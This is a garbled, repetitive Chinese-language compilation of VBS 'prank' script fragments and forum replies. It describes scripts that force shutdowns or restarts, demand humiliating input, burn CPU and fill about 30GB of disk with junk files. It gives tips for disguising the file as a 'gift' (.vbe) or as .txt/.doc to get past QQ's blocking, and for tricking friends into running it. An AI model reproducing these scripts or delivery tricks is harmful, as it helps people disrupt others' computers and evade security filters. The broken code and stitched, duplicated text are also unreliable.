WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈复制好代码后,修改文件名.txt 更改为.vbe。
这个是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。
如果是VBS代码 那么把代码保存为 “礼物.vbe”或者“祝福.vbe”然后通过QQ发送给你的朋友就好了 为什么不是保存为 “礼物.vbs”呢,以为VBS是被QQ拦截的,所有用VBE就好了。VBE是VBS的 Encode 解码模式,也是VBS的脚本。
)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)———分割线———保存,保存类型为所有文件,名字随便,矿展名“.vbs”,保存后点开。
VBS可以用来编写一些整人的小程序,那么如何编写呢?下面我就给大家分享一下。
打开一个记事本,把代码输入进去,然后把格式改成VBS。然后一保存,OK啦!(样子是中间有一个蓝色卷轴。
这个只是vbs脚本文件而已,很容易写的,几行代码而已。关键是你给别人发,会被拦截的,因为里面有shutdown语句。如果你做成压缩文件,别人也可能有疑心,所以自己看着办吧。网上搜一下,vbs整人代码,一大堆。
msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈,好乖该代码是定时关机的,破解方法:打开了就知道了。
完整代码如下:--- set vbs = createobject(Wscript.shell)a = inputbox(请输入 & vbcr & 我是大笨蛋 & vbcr & 否则电脑将立即重启。
这个是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。
)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)———分割线———保存,保存类型为所有文件,名字随便,矿展名“.vbs”,保存后点开。
if MsgBox(对不起,您需要重新启动计算机。
毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。
vbs整人代码(要可以用的) 我直接COPY到记事本里,所以别打错了。
简单啊。你把VBS后面改成.VBS就可以了。还有,别忘了得压缩。
msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈,好乖该代码是定时关机的,破解方法:打开了就知道了。
这个是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。
&TSName)WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉,这你都不知道吗?)WScript.Echo(怎么才来,说~是不是不关心我)WScript.Echo(哼,我生气拉,等你这么久,心都凉啦。
把代码拷贝到记事本里,另存文件为*.vbs,发给你朋友,让他双击这个文件他就上当了。通过QQ发送时,你可以先把后缀名改为txt或者doc之类的,然后告诉你朋友让他手动把后缀名改为vbs,再让他双击文件就OK了。
vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。